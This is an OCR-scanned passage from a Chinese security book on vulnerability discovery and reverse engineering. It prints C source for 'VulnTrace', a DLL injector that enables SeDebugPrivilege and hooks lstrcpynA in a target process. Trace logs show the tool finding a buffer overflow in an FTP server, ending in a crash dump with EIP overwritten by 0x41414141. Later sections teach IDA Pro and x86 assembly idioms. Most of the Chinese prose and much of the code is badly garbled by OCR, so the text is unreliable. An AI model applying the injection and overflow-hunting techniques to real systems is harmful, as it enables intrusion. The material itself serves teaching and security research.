TOXEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&token) FALSE)

fprintf (stderr,

“OpenProcessToken Failed: Ox#X\n",
return(-1) ;

GetLastError());
)

i (LookupPrivilegevalue( NULL,
"SeDebugPrivilege",
&tkp.Privileges(0] .Luid)

FALSE)

fprintf (stderr, *LookupPrivilegeValue failed: Ox®X\n', GetLastError());
return(-1);

tkp.PrivilegeCount = 1;
tkp.Privileges (0] .Attributes =

= SE_PRIVILEGE_ENABLED;
if (AdjustTokenPrivileges (

token, FALSE, &tkp, 0, NULL, NULL)
{

FALSE)

fprinct (stderr,

*AdjustTokenPrivileges Failed: Ox¥X\n",
GetLastError());

return(-1);

CloseHandle (token) ;
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hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, nProcessId);
if (hProc == NULL)
€

fprincf (stder:,
" [VrInject]: OpenProcess(d) failed: ¥d\n",
nProcessId, GetLastError());
return(~1);
}
fprintf (stderr,
" [VPInject]: Loading s into %d.\n",
szDl1Path, nProcessId);

££lush(stdout) ;

if (0 i ithD11A(hProc, szDllPath))
«

fprintf (stderr,
"DetourContinueProcessWithpll(%s) failed: %d",
szDl1Path, GetLastError());

return(-1);

return(0);

int main(int argc, char **argv)
i

char path[1024];

int plen;

if (argel= 2)
(

fprintf (stderr,

*\n-= VulnTrace =-\n\n"
"\tUsage: %s <process_id>\n\n"

Largv(0]);

return(-1);
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plen = GetCurrentDirectory(sizeof(path)-1, path);
strncat (path, d1INAME, (sizeof (path)-plen)-1);
if (inject_dll(atoi(argv(1]), path))
«
fprintf(stderr, "Injection Failed\n");
return(-1);

return(0)
1
2. VulnTrace.dIl
TP SO Eh AR R T o R B 0L 4 A A A SO T LS R R M Ls trepyna
RYUIEH . FEEHIENDLL, HIVTInjectii A BINEFH Y HEVET .
e

* VulnTrace.cpp
./

#include "stdafx.h®
#include <windows.h>
#include <stdio.h>

#include "detours.h”

DWORD get._men_size (char *block)
«
DWORD  fnum=0,

mensize=0,
“frame_ptr=NULL,
“prev_frame_ptr=NULL,
*stack_base=NULL,
*stack_top=NULL;

__asm mov eax, dword ptr fs: (4]
__asm mov stack_base, eax
asm mov eax, dword ptr fs: (8]
asm mov stack_top, eax
asm mov frame_ptr, ebp

i£( block < (char *)stack base && block > (char *)stack_top)
for (£num=0; frum<=5; £nums+)

i
if( frame_ptr < (DWORD *)stack base && frame ptr > stack_top)

«
prev_frame ptr = (DWORD *)*frame_ptr;
4f( prev_frame_ptr < stack_base &k prev_frame ptr > stack_top)

«
if (frame_ptr < (DWORD *)block && (DWORD *)block <

prev_frame_ptr)
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memsize
break;

(DWORD) prev_frame_ptr - (DWORD)block;

3
else
frame_ptr = prev_frame ptr;

3
return (memsize) ;

DETOUR_TRAMPOLINE (char * WINAPI real_lstrcpynA(char *dest,char *source,int
maxlen), lstrcpyna);

char * WINAPI vt_lstrcpyna (char *dest,char *source,int maxlen)
i

char dbamsg[1024] ;

LPTSTR retval;

_snprintf (dbgnsg, sizeof (dbgmsg), *[VulnTrace]:
Lstrcpyna (0x$08x: [¥d], $s, #d)\n",dest,get_mem size(dest), source, maxlen);
dbgmsg [sizeof (dbgmsg) -1] = 0;
OutputDebugString (dbgmsg) ;
retval = real_lstrcpyna(dest, source, maxlen);
return(retval);
BOOL APIENTRY D1lMain( HANDLE hModule,

DWORD ul_reason_for_call,
LPVOID lpReserved

if (ul_reason_for_call =
(

d11_PROCESS_ATTACH)

DetourFunctionWithTrampoline ( (PBYTE) real_lstrcpyna,
(PBYTE) vt_lstrepyna) ;
)
else if (ul_reason_for_call == dll_PROCESS_DETACH)
(

("[*] Unloading Vul .

return TRUE;
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UV TInjectil i 95 (FIF2 /744 1% AT AT 3CMF, 42 VulnTrace$s FRDLL, RFHAER—HZF.
SERX B RE, $ATHESS R AIDebugView. fRATAEABATH A X VulnTracefIiH &, Fit,
T LS 4 # DebugView, LEITIEARKMNM B, BHMIIX— K, HFHTEDubugView £k T
CrHLALA R, AR Avulntrace. H—IMER, A BFRER MDA DS HORMATVTinject.
AEDebugView 5LV 1% AT LA £ FIIXAE M B

.[.21854] [VulnTrace]: lstrcpynA(Ox0012FF68:[16], test, 32)

[2864] [vulnTrace]: lstrcpynA(0x0012FF68:[16], test, 32)
[2864] [VulnTrace]: lstrcpynA(0x0012FF68:(16], test, 32)

LERKHL, AT AT Fe# 1sercoynalfIBH . B—MSHORMHLR HARGPXBIAD, 0
TASBIERB S BIOIGIX , 5 AL RE DB RO AT R SRR B ARG X B K K
HRA N SRR ANET, CRAE RN BRSRIAN, RARRNEE (uuRt g
PP LM, DURGXAME B S AR 2 IBERE) AESEHIRIN . MURBATHB AR
VAR St SR 2 ) EAT S %, AR AT DUB I AT R S (R A7 U EBRFIE T P

20.14 {EA VunTrace

BLE, RATELHE T DRAGRIFARES R TR, LFECLTILMTH. EXE, RN
4 LA Windows FWiAT (ORpIRSS 28 0 6. FIRIPIT B H 4 DB

YT BIXAMRS, ¥EAVulnTrace.dll, #E3iDebugVeiw, if#5vulnTrace M
RINE GX—H R, [ SEA MRt A K R R 2D .

SEE & TS, Hitelnet&FIfpiR%#%. —& LERAE T FHIHE.

SRR I B A A, TR AR L A — R, B 3, RA1A (deleted]
BT BHHE

(2384] (VulnTrace]: lstrcpyna(0x00dc6ess: (0], Session, 256)
[2384) [VulnTrace]: )strcpyA(0x00dc9050: (0}, 0)

[2384) [VulnTrace): lstrcpynA(0x004c90£0:[0), 192.168.X.X, 256)
12384) [VulnTrace]: lstrcpynA(0x0152ebcd:[1624), 192.168.X.X, 256)
[2384) [VulnTrace]: lstrcpyA(0x0152e93c:(260], )

(2384] (vulnTrace]: lstrcpynA(0x00dc91£8:(0], 192.168.X.X, 20)
(2384] (vulnTrace]: lstrcpynA(0x00dc91£8:(0], 192.168.X.X, 20)
(2384] (vulnTrace]: lstrcpyA(0x00dc930d: (0], C:\ldeleted])

[2384] (VulnTrace]: lstrcpynA(0x00dc90£0:(0], [deleted), 256)
[2384] [vulnTrace]: lstrcpyA(0x00dc930d: (0], C:\(deleted])

[2384) [VulnTrace]: lstrcpyA(0x004d3810: (0], 27)

[2384] [VulnTrace]: lstrcpyA(0x004d3810: (0], 27)

[2384] [VulnTrace]: lstrcpyA(0x0152e9cc:(292), C:\[deleted])
[2384) [VulnTrace]: lstrcpynA(0x00dddee0: (0], C:\(deleted]], 256)
[2384] [VulnTrace]: lstrcpyna(0x00dddca0: (0 \lgeleted]), 256)
[2384] [vulnTrace]: lstrcpyA(0x00dd4da8: (0], C:\(deleted]\])
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[2384] [VulnTrace]: lstrcpyA(0x0152ee20: [1048), C:\[deletedi\])

[2384] [VulnTrace]: lstrcpyA(0x0152daec: (4100}, 220-[Geleted])

[2384] [VulnTrace]: lstrcpyA(0x0152e8ed:([516], C:\ [deleted]\)

[2384] [VulnTrace]: lstrcpya(0x0152a8a4: [4100], 220 [deleted])

TRAFATIAR, DB BIPTEBIRTRIAR ARSI iR S T RS HA B2
IR FiH SRR AR RS BRI, RAVR R A IR0 0
1. RATEARBEASKEAE, SR RS

ETATHRAERIRGITE, MAuser test. (2, RITCLRT —resths.)

[2384] [VulnTrace lstrcpyna (0x00dc7830: (0], test, 310)

[2384] [VulnTrace lstrcpynA(0x004d4920: [0], test, 256)

[2384] [VulnTrace lstrepyna(0x00dd4a40: (0], test, 81)

[2384] [VulnTrace lstrcpyna (0x00dddabl: (0], C:\[deleted]\user\test, 257)

[2384] [VulnTrace]: lstrcpynA(0x00dd4ca0: [0], C:\[deleted]\user\test, 256)

[2384] [VulnTrace]: lstrcpyA(0x00addda8:[0], C:\[deleted] \user\test)

[2384] [VulnTrace]: lstrcpyA(0x0152c190: [4100], 331 pPassword required

FEFFHEAL A P 42 MO K ST — BT I TARMIBIIK . SRR ME R E 47 T
RAVTEURILRM, F TR, RIE R TR IR TR B . I,
AP R IR Ap#ER. -

(2384] [VvulnTrace]: lstrcpyA(0x00ad3810: (0], 27)
[2384] ([VulnTrace]: lstrcpya(0x00dd3810: (0], 27)

[2384] [VulnTrace]: lstrcpynA(0x0152e9e8:(288], test, 256)

[2384] [vulnTrace): lstrcpyA(0x00dc7830:(0], test)

(2384] [VulnTrace]: lstrcpyA(0x0152ee00:[1028], C:\[deleted])

[2384] [VulnTrace]: lstrcpyA(0x0152e990:[1028], /user/test)

[2384] [VulnTrace): lstrcpyA(0x0152e138:(1024], test)

(2384] [VulnTrace]: lstrcpyna(0x004d4640: (0], test, 256)

[2384] [VulnTrace]: lstrcpynA(0x00ddd760:(0], test, 81)

[2384] [VulnTrace]: lstrcpyna(0x00dd47dl: (0], C:\[deleted]\user\test, 257)
[2384] [VulaTrace]: lstrcpyA(0x0152ee00:[1028], C:\[deleted]\user\test)
[2384] [VulnTrace]: lstrcpyA(: 2801, c:/[d )
(2384] [VulnTrace]: lstrcpynA(0x00dd4ca0:(0), C:/[deleted]/user/test, 256)
(2384) (vulnTrace]: lstrcpyA(0x00dddda8: (0], C:/[deleted]/user/test)
(2384] [VulnTrace]: lstrcpyna(0x0152cdc9:{4071], (deleted) logon successful)
[2384] [VulnTrace]: lstrcpyA(0x0152eccs:[256], C:\[deleted]\user\test)
[2384) [VulnTrace]: lstrcpyA(0x0152ee00:(1028], C:\[deleted])

(2384) [VulnTrace]: lstrcpyA(0x0152ebc0:[516], C:\[deleted]\welcome.txt)
[2384] [vulnTrace): lstrcpyA(0x0152ab80:(4100], 230 user logged in)

Fit, A B 05 AT HAR IO T AE . (AL, BRATAEESBINO MR SR — TR
o MRBARAE IS ZTR RERATHLRV K EHIR T . X, RAVGI T XL,
RIRALERR. B FRRFEIA B LBR MBS . 2R Rpr D cwa eeye20033 447 H
KK eeye2003.

(2384) [VulnTrace): 1strcpyA(0x0152ea00: [2052), user/test)

(2384] [VulnTrace]: lstrcpynA(0x0152e2d0:(1552], eeye2003, 1437)
[2384] [VulnTrace]: lstrcpya(0x00dc8bOc:[0], user/test/eeye2003)
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[2384]
12384)
[2384]
[2384]
[2384]
[2384]
123841

[VulnTrace] :
[VulnTrace] :
[VulnTrace] :
[VulnTrace] :
[VulnTrace]
[VulnTrace] :
[vulnTrace] :

lstrcpyA(0x0152ee00: [1028], C:\[deleted])
1strcpyA(0x0152dc54:[1024], test/eeye2003)

1stropyna (0x004d4640: [0], test, 256)
IstrcpynA(0x003d4760: (01, test, 81)
lstrcpyna(0x00dd47dl: [0], C:\[deleted]\user\test, 257)
1strcpynh(0x00ddd6c0: (0], eeye2003, 256)
1strcpyA(0x0152ee00: [1028],

C:\[deleted] \user\test\eeye2003)

[2384])
doesn’

[VulnTrace) :
t exist

1strcpya (0x0152bBcce: [4100], 550 eeye2003: folder

ATHBORT, HEGIFRHISEN T o RATRIERATT UGk RS S EIROEE, B
Heeye2003 HRHARIFETE,

BAHBSSMX 20528, B/MOR1024B. WBAMKAETFSH, RIGESEN. Rk,
W AGIXZ1024B, XA LT WAL BIZEP K OFERY . GEE1032, FRZT USSR

FEffjEBPRIETP.
[2384) [VulnTracel:
[2384] [VulnTrace]:
(2384] (VulnTrace]:
(2384] (VulnTrace]:
(2384) [VulnTrace):

[deleted] \user\test

1strcpyA(0x0152ea00: [2052], user/test)
1strcpynA(0x0152e2d0: [1552], eeye2003, 1437)
lstrcpyA(0x00dc8b0c: [0], user/test/eeye2003)
lstrcpyA(0x0152ee00: [1028], C:\[deleted])
1strcpyA(0x0152ee00:[1028], C:\

RIS %W BJR, VulnTracef$ 1 DebugView H2 38 i B« 1X 7 ik 15 2505 AT I o U IRAF 4
M b EBpRIETRH K. B, HEHRAE, M LIRS B, AEER LRXESR GX
A N4 VulnTrace). A8 T, RATDGRENT AN ATHARK G0 X E o

EAX =
EBX
ECX
EDX
EST
EDI
EIP
ESP
EBP =
BFL =

DEN

Wowowow oo

AT LA

00000000
00DD3050
41414141
00463730
00DD3050
00130178
414141241
013DE060
41414141
00010212

RAFMEBPRIEIPHIN S, — MR A ECK. B HEERMF4E Qe
A AL, ftgh R KA S ) Rp S5 2
BAE, BATCLBOR T BRI TR BIRR, (8 MM A RSOERITRRER AR

20.1.5 @EHGRA
AATI G R RHRIRBRBRBAR IR B R ER B A (2 o

(Rt BRI BINE ? B T A R LB T o
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1. $RG RS

HARRRERH IR ENIRMEE S HBSNEER, BRI EHEREERBIEA. h T s
ARERE, ROTTERL R HATAL, BHER AR B0 E . RITDEFOIFER
St B VA M R B B S . AV SIEFECRC 324 checksumMIZE KAF T R4 M A
A BOKHEKE R64B.

BT HHAB R R, B BT R ICRC checksumdffi. RATH B ARRHH%16B
fCRC checksum. BT RBMBFIEIE, BENRKHMAY, BETHRRK. KEAHCRC
checksum, AT LT —E MR, BOOR T 5 E RS — MEEKB, CRC checksum]
BHATHERGE . BTG R, RATEN E AL 16BHITCRC checksum. B
AR BN FT 27 4 I — checksum, 5 T RS FARF ¥ FIM R RAIEA FHRI0E K
O . IRRAAAEA H A9 )75 2 00R, AT LENSET, FFAUN E A
R

RO AZERE], EMVTORIDFIE, MBHEENFTIA, ROFERE TR K
W SR SR AR R BN BB RO R, RATRAT RS K. BARIKEATBRD
W (BRAINLA GIMG ST S, B, ROTERIE RS HRIN T/ MBS+
FELLESIE), N FTE H AR TR S R NZH s . XK, M AFRMNER IR RE
HOREE,  MAITD ABEAR L ST IE RGERI AT e . BATTAOAEIE R BLAE TR ORAQ P THIIXAY

Checksum Signature Function Name
B1OCCBFY BBECBIE 8BEC83 vt_example

BR800k 16B AL ML CRC Checksunit #ABK . R RIHEA B FRIchecksunl/LRL, AT
CRRATORALA LR WRITAD, B EEIXA R

2. BB RRAH S

URARHT— FIRRERER R AR R

(X 2¢-¥]

HTRAERHBREAAD, TLUEBEIRRLH OO, RARKESE. XA 7%
CARIASORI SR AR 28 Aok, UM &R 8 ot R

[RCEA 2 3

AR R BAHARB (Wsnprinte) WBH, HRATURREFHALBEIR,

o Stk

HFF . SQLIEA . XSSHISLA MW, BT LU i A0 e AT Ak B2 H0 ) B8 MORM S 2208
il

20.2 INE

TEL EMN0ER, RAIRHHAT BVPM ) L2 E RIS NS FHRA, &
BRAVF FE IR B H AR A AE SR MO . BURZE NP X 38 H 2 WA KB R OA S W
T AT AT SRR s SAR D WIBRILW . XL T e RRAEE T, R A
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BORBML .

FLA S, WMRARBEROWR, TRBELMENT, Wik, FEHEHHESE
JRE T AR, BESMIRN I, ZAFRE IR T WFZRNER, hIIREE
B AT T A RIUBTRR, X B T LRI SE R 2 R TS

BAAME, BT RE0FE D, REHFIHHAKEGIEN . MR REREDAL
AMET, BEEE-HRFRRIFR. 5, SAARTULRN 85, XAk, B HoR
MO AN RIT T . TABUHERAMRR, XM RGH Akase, B AT LUmESR™ &,
B K5 A BT LA AR BE . MURGESCHLIXA HAR, BATRA LM O ER R
ANEIRPRE DT .



$21%
IR ﬁ@&ﬁr
=t E’J$A14= ‘

FRAEWERTEI T Z AR ORTIEBRA AT, LA & %n e
S5 AU R VAR A TR AR T HORI R R, B,
ABGHAT 3 i oo
ARG A LR U B KRR AR, IR . R
PR AR DA A B o vk 33 &WMEP)@}E::, R, BATRARFEHEREE
2 4, FERETFERMNLESHEARB T, HENUIHHRAE R FFHRS LA g
BRI, RS EARE R ¥ o 1R WAL ERD B AT LA A B BIRE, T
B HIRE LA o (BAE T RAOMEY T, M ARWI0EE, SRR TH TR AR
Fins
VP RATFREAH TR PERS, D3R5 IRZERBINIIR . B LI SRR R AT A 2
U BB R, AEARASTT REAEAT BRI I o] PO RORN BRI 4 (OB o T 3 RAT TR
YRR IS AT AU R 0 2 A ) REHR Gt T S0 AT AOMA

211 THEHSREEITZEMMREER

ZRER T LA AR R B A R R T 4R — HebugsR R VRS o, RURIE F3ki 7 vk
AT o MBIRBEBITGH I, AR TR, FRWRN BRI SRS, B
AR

AL, WRENARE RNEAT P A MILGE S . R MR, RN B R
2, WA REMMF IS, A SBUBSREL, MALURBBOS. BTLAB, WRFBEER
PR LREAE Y 6 IR, AP BITELF % SHCRVERT, SRR S Fes .

A2 ), Jup-code MM, #linJava 25 Visual BasicFRI¥, A AT LIB TS RAE,
i LR G 5 A P AR R I AU ARG, e, TRATIBEAS b T DU i B R R (AR
SRR T, KRB B BRSO A RO R R . AT A X0k B AL R Intel x86
THE, HE SR Visual CH-AE R ZRERISCH .

U AR — R, SR R BB TR, Aid, WDE B



422 F2F —#sFiH SRR KA

CEREEAT T RN T LRI 4. Bk, W ITRER, — R ERRRFERITIEE
AL i, @A LERERFRAT RN — AR A R R BIE, EEMRBRE, T2
AT AR N S5 B S R AP

A LERFILE HEBIRIRES B ARREAR A ) MR B, #RTT, READLESS — W o R Ak,
RS HERTTAERARGUR AR S . 024K B W FIRMLHE, Wit R SR E R i
B —FEES .

21.2 IDApro—@EL TR

IDA Pro (Interactive Dis Assembler Pro) /& 2 AJBAF HI ST R R v+ ki) T & HiBelgian
27D I (www. com) FFRIFHM, MIEEMAE. MRFESESHEE T
Tk, NA%IEIEK, RFIDA ProthF B, HBAHR, B AR BEFYRICR TR,
FRIZ @ PUER % o

IDA Pro3Z#§ ZHHEMF & LI L F _itbigR, HELFLFHEOANHR. BN
AT BRI A A BASR RN NS, H4 RICHJR R4 BIBGR SO MRS A0
R HInt, ERAER A, AFEIMORICH TR, DA Prof LS| % &R ISR BRI
PR RN .

21.21 IDASERT

XTIDA Prof7 3R ) T ik o Wk 3k /T SR BEAR RO Bh, X S S i — HEI R 15
K, BARB L E— DR IRIDA Profty A iis ik .

IDA Profty EHM (View-A) RICHMM, L3 BRRICEKE RS .

IDA ProfIIa X A R A R, M FRKEWE -, WHRZREN, GAMERLK
B, FAREOEMAH, KPS RMERIER . SRR RARRRAEE M FF S0, DA Pro
P 80 2P0 E € AR PR FE AL M) 744 ER AR R R AR LR R SRARHS B e A ok Mk s 75 77 28
SUARS, R AR AT, EVEEN SR AR, T BB X AR 1 B AL 43+
TR TR M ARFS X S s AL BRI, AR T AT R B AR X i Mt R AR, S
skt ATSRidata) R, KBk maE A EN, 7158 rhk R R E .

IDA Proi&fThex-view,. 7 LAPEF A/t 2R AT R FAF o name 51 AR FY o 57
HEMZERMAH, fonction 11 7t AT EBIMRS, string B 115 HFRF o i AT ) F4F 8
B A L4 O, il fistructure @ 1. enumeration @ F1%F. 7 LAZEIX 268 Il ERBIA K B A
HEREH.

IDA Pro¥HRFFBBESE . VAT BB 5 IR AR X5 Ao SRR R R 1 BRER
AT, XX BRATEHTER . © T RIS MERARRE N B M. IDA Prow) LLIE# A5 HiHir v
RS, (Bl TALREAAR TR D, FTLL, ERRGR WS,

DA Prof] LAy &4 FE/F AAEFTAL R, ool AZEAE (T A Iy, XA RIS A A5 18 TR
WHES, SRAT—URK, 7103 FREMIA. H4.28A LK, DA ProfitinT ATk,
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e, CABALR T AR RIS . T, A ThRERIEHATAIN . IDA Proti—
LARRATRMBE=T7 00, BB, RBHREARLS 8 TTR .

IDA profoiffil /' e B A AL PSR BAS W BABIMEGERATT, —ikh. T
RRRIMARE, EEF TGRS WREROAERAMY, AU BT EX.

2122 ARES

WA A L ZRRA Y WindowsHRRHE T 759 304 . 3K 42304 T LU BEK B Windows BB {41
BB FLTUH (www.microsoft.com/whdc/hwdev) F#, 7654 Windows —3HIint, JXH%F5 3
HARHH . 15 30HEH UPDBI AR RAT, FRMSVCHAERMBFFRERKR, i
SCARJUP AL T RSO A B B M4 it . RESES RIS, S PDB IO
HEEQE T RATFNN LR RIERAI LI . SRR A X LFRR, B
WHIHRELEZT .

BRI T SPRAIF S, ARG S T A H S LT REREABEIEN
TN, RIS A XN 7 S 304 . DA ProA] LS APDBff, EArd =
HHRHTHRRY . A5, EH =) TR, WPAbDumpi LUEEPDBX A, HMbREA
FBOf B

21.3 ZTHFIEITAN

K T REAESU R T A, YR BHEEAR R 28 A IR (A, KORA R
HIRFBLEHT CRESIRLRAUR I FRIBEMW. 445K A 38 IS0 B BRAEAR RS
HEH AR S BB AR G K, AR R AR RV — R 5 T M.

2131 b

ELAR B BRI XSRS BRI RARES, T ELZE SR T, AT DR B RA R
W EAPAEI T ARIORE o JRATLEX86_ LA L6 LAARMIATR, e R B iR B, 76
ARAFHE. R IHAH — 23 BRI R o

1. e B FBP AT

S0 DL IR R RS RAE 469 R FBPeY R, SUrh £ 2 77 BB EB AR T — MR
Tt AR T R E RO RS RV ) A BE, XA R i

HIZTRIEIE, AER * W FR
push ebp // save the old frame pointer to the stack

mov ebp, esp // set the new frame pointer to esp
sub esp, 5ch /1 reserve space for local variables

TEXE, IR T espl) SURB AR, MBSO T EWBAIR. maoraRl BN
—AB¥. IDA Proill #1teBp+8 T fy 4 Xy EBP+arg_0.

AR AT R BCR, LT BT A IR 5 HOR 3 REAR A A0 31 FH 48 JE TR T XA Wi
(890 CLERATSORY VA RIA TIXRRRAT R, AR VI T LUBBRBAT . MSVC+FIGCCT=AE A B4




24 F2F —#HHGH: B RAFRDGKSE

AR XA

2. QE MRS RS

WEGERN TR, TR LA RN 0TS, R T, SRR
WA A AHEH BN AR . B AAL, O USRS ESP A SR B M
UM, WA R AN H5%  REWIRH LGRS R R B, BRI s E S
FRHANARE, ERRIEAB N, MRS, FEOEITFRE XA .

this_function:

push esi
push edi

push ebx

push dword ptr [esp+10h] // first argument to this_function
push dword ptr [esp+18h] /1 second argument to this_function

call some_function

WA BB, B ANSY RSP+, RIDNFERLIE, F-IBHM
R B A RESP+10n, EEANE— RS HM K sone_functionIBMLIE, BoARKSHE
{i#EESP+18h.

IDA Pro%itFE Bk S iR 4 SEARSREHINBL I . 0 T MBI — %, ERAFHAIIRIBH Vit
FHREWIERE T2, R, HERRUSMBRIE ERILER, RSB EHHROLE,
FHAEMIFRRALNRICRAT . IR, b T HRARG X MR/, AT BEF T Akt
ERBERASMALE . WX, SENREAASEHERE.

3. JEfE LA T BPAYARIN

A1 Visual Studio NET 20037 IFf 22k e o BT ARUIAIARAS, RATIXA ARG
BN SRR N R, FiA U SRR RAOHE S EAEMK, A6
ImREE, T AL T A AR SURMB AR . — MR B KIprologue i R AT G F HIIXAF .

ush el

?ea eb:E,} [esp-5ch])

sub esp, 98h

[ G e S UG R 4n, A REG o« MEBP-3ch$|EBP+5chif]i FH 5 7J Ak
HRHAR A

AT LAZEWindows Server 2003 fK 3R 4% b SR A 45 2/ LR B0 5 X B4k 46 469 25 T BP#Y B
AR, BIHRIAIE, IDA Prodf R AEWMIXAEI RIS, so4 iR T IX KRB R AR
FHERAMHEHR, IDA ProfT LS HF4 i B AIKFI PR o
2132 BHAYE

B S B ST AL IR R (0 A 4058 A SR AUREYF B B S SR, RTRRWAAR
AR WAL . FARAE T CHOT 77 A0 I L X BATH U S B R AR . MR AEMSVCH
HGCCAERMCIRCHRTY, LW R BINEALE RGP .
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1. ClEmE

CHLRAMUECKRI A AR, WREBSH. WIRNIE. WHEHMEY
SRR S R BT AU BRI AR Beb0iE 0L, ZEWRIET, 2R RS
B, REREER A, KR, REEAMER— S5, ERAERR, WHEK
BRSSO . CIPIZER B T

some_function (some_pointer, some_integer) ;

HFICHRLEN, WA KR FTKH.

push some_integer
push some_pointer
call some_function
add esp, 8

ER, BHOS ABSRES-ABSRZAHEN, WHRK A CKIEE . B ER
HAWANBH, HIREUE NS, 1% H 7T LUE B4 A2 ¥ FIx86H optE S 4L I 25 77 85
5 PR BESTAR . TEXAMITHL, ATRABATRiSpop ECxI& RS, HKIKST4B.

2. stdcallIRAE

Behh, FECHICHUF HLIE AT UL H & BT A A R stdcall, EAMBEIN A ERCIEM
AE—FE, CERBHAER, B RESHHIREEAE, I, SR i R G
RS, 7Ex86 1, ¥ ALR TG ABRREN. B, H3INSH RN Hstacal 1 8
A TTLUHRET ochii @R[, XAIES KRR L12B.

R4y 75 6 ) R R ORR 22T, BT A R B stacal LB A ROR — 22 AT, 27T 3840
Y RY (Fliiprinc-like ¥ AR EBEA E S2%0b8 Mt L4 8 R
HoksER, B R R R RN SR OB
21.33 HRIFREHRMNRD

1. BEHR

G PRRR A R B MRS R R AR AR . BRGNS i ¥4, Blepilogued &
Ho AR, BBA— LA Lreturn K, BATLH 7T LU Blreturntli & 2 JEEAT HARRE, Xit
AR LB BIretun i 4 . R MBTREA B NEFE, HEFBHRIRL, EEHRBA
B[ Ao

MVisual Studio 6774, MSVC+Hii¥ B7EHR AT AR A ERBATD . RiFE
R R WY 53 SRR (T R o IR 0 T e/ 2 A R M il 7R
FUARTBE R RRE 3 77 o IR A A BOM s e R e A FRAN R L (9 UR S BR BT R (K ARET
M. I, EIXLATIE PR AT AT A, Bk, RATZES I b BIn RO B EAT. 76
IDA Prof, % M4 GHBILIMRIXERIE, BHELK, XERNIMSVS+HAERMRIH
WS T o IDA Pro/SAEIE 24 A FIXEARFBEY, MR A RYEREE A R R AR AU
1, HASAEIE A AR SRR R T .

FEREREARALIARA L, ML 3T USRI, I, SRS o 3 A R My 7 R ]




426 % 21%F —#HFiH A RAF R KA

W FREH AR, AT ENIRSE, £ epilogueRirean OB AR L RF/TH. &
i, XFHFRAD W, 4748 RFEWindows NTHINTDLLE HH5 «

2. i8ER)

iEBARBE RNCET S, EHRRENRBELETUER SN, SIECE RN
WRFRIGAR: fECuPRTESTIR A L J5 IR —~ MBS . TR TERTC 165G
RIX R HIRS -

CiB:

int some_int;

if (some_int != 32)

some_int = 32;

HFEZIG (ebp-4 = some_int):
mov eax, [ebp-4]

cmp eax, 32

jnz past_next_instruction

mov eax, 32

LEMIFAE— MR AR BRI, Rt R —i, RAREREFUALRDE, ThHha™
WBIRCRHNLEA . FERSE BRSO, L 6BAREN BRI X, BESI LT, 4
FRAEEE 5 AR AR H TR 4iHD) (X5 Tk, AT EARER SN L4 2 T 205 R4 £3540.

3. forfliwhilefE IR

R (6 R 25 W03 0 2 LRI I 54 2 Ak o AETHE R ARG SR AT 360, 70
BRI, AR ORE, M2 T, WA S0 EEN R —, SIIME—
SR 1419 R, TS HAT —BARED . FEHSH B0 — AR ¥ fiwhi 1 AR ER 4RI 1
JEICRIRS o

CARH:

char *ptr,*output, *outputend;

while(*ptz) (

*output++ = *ptre+;

if (output >= outputend)
break;

)
HFJGIAT (ecx = ptr, edx = output, ebp+8 = outputend)
mov al, [ecx]

test al, al

jz loop_end

mov [edx], al
inc ecx
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inc edx

cmp edx, [ebp+8]
jae loop_end
3mp loop_begin

KB R for AR AT APIHE, R SR M IRAD R ATRIE 40, AT, FORBH
DEHRARAERE, QXERROMER, ERTFLORFR, DHLTRBEEE.

4. switchiEf]

switchiF AN AR LR, AMBREELUATLESR. BIELHFMswitchid
ARBEBROLEN R, ENERFEOBRTIREEHEHN,

switchifi )T LA MBS AR AR 1 6340, ZERCEENIR R, 2L iR 28 A0 AH L I AE B
10 IXANEAA S A AR EAR, SEXBAREIR # H AT R RN NS R — FIIMLEEN, TR
SRBEER A4 KT,

IR swi tehiff R M AR RELGEN, HIBIEH AR — M Hswi tonfly B RAEERIER
SIMBEEER . XRLAIE L swi coniBAIIERHRMAE, EHRUETIT. mHF.

CAH:

int some_int,other_int;
switch(some_int) {

case 0:
other_int = 0;
break;
case 1:
other_int = 10;
break;
case 2:
other_int = 30;
break;
default:
other_int = 50;
break;
}

HIFJFMRT (some_int=eax, other_int=ebx):
cmp eax, 2
ja default_case

Jmp switch_jmp_table[eax*4];
case_0:

xor ebx, ebx
jmp end_switch

© IR L RN Cor fREE SR whileIRIFH R E, TEOLEIINTH. —
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case_1:

mov ebx, 10
Jmp end_switch

case 2:
mov ebx, 30
jmp end_switch

default_case:
mov ebx, 50

end_switch:

FEHENEE, TURIYIEKswithc_jmp_table, HH44E T case 0. case_1fllcase_2
FEBU R

IDA Prof] LARERR Rt LM Miswi tohifif, 3R 5 R0 7 TR o B2 3420 ] LU
FFERME .

HswitchiB )M BIAXEFWIRL T, RAREHE SRS R E %S T . fEiXny,
WEBLH MR (switoh?E MMM E MY, HETHENE) LA swi tchif
AT e XA switehif AU AT DUA 30 4 B8 11 B MO M cases S BEFIA R . lm, wR—A
switchift ER LT Mcasel MAIARMRI. 4. THI4, WAEARELZBM (BAx = casel
e 2uvi ol

sub eax, 3

3z case_three

dec eax

jz case_four

sub eax, 3

jz case_seven

sub eax, 17

jz case_twenty_four

Jjmp default

IXBAREI AT LA AL T T AR M swi conifi ) AR BRIV, — T LIZEMSVC+
R RN RBEE R,
21.3.4  #0l memcpy KBS

VPR GRS & X memepy B MU AT ML, EBAICRIRS BB, BRERBERRALIH
CRIBLRBMAEH R SHARN NI E IR SRBWE R, 7T RICRE N
W EAERAG R, EAHIROHI T

mov esi, source_address
mov ebx, ecx

shr ecx, 2 // length divided by four
mov edi, eax // destination address
repe movsd // copy four byte blocks
mov ecx, ebx

and ecx, 3 // remainder size

repe movsb // copy it

TEXHBLT, BRI/ BEsTSIHIF) H AR 57 8EDT. 0 T INBHIE, Fili84 repe



213 Z#AFHANT 429

movsafF KK H4B. ITABHIMECX B MR MESTH HIFIEDT, KRR N4 ECxib B K BER
Hi4BRIK. X repe movsbifd SR T IR .

BRI, Firepe stosafii4 Ximemseti AT WAL, AL R Hmensetttfl
[GEZEN

memmove B A FUXFEHANAL, EERMIXBMATHES B % AL MSRRK .

21.3.5 (il stlen A9 EB493E

KT memepy, HELH T K 2T strlenE MBMRALRM BB HITS . KHKY
N RBOR R RET . SR N NGB P strientt, £ROAMDBLEKSL
HERGE, WHBERG T X

or oom, omtrertest

Tepne acach

not ecx

dec ecx

KBRS I RAE T B M K BERAF BlEcK & 7788, repne scasbifi &M 7EEAXIEAL
WFRFMEDIFFUE (TEAD P EAR(EAL R T), REMBATRRATIRRORE, FRICRR
ECX, #$4EDI.

fErepne scasbBELERIIMTT, WIRRANFY, EpTiMRE TS HIFH, soxif
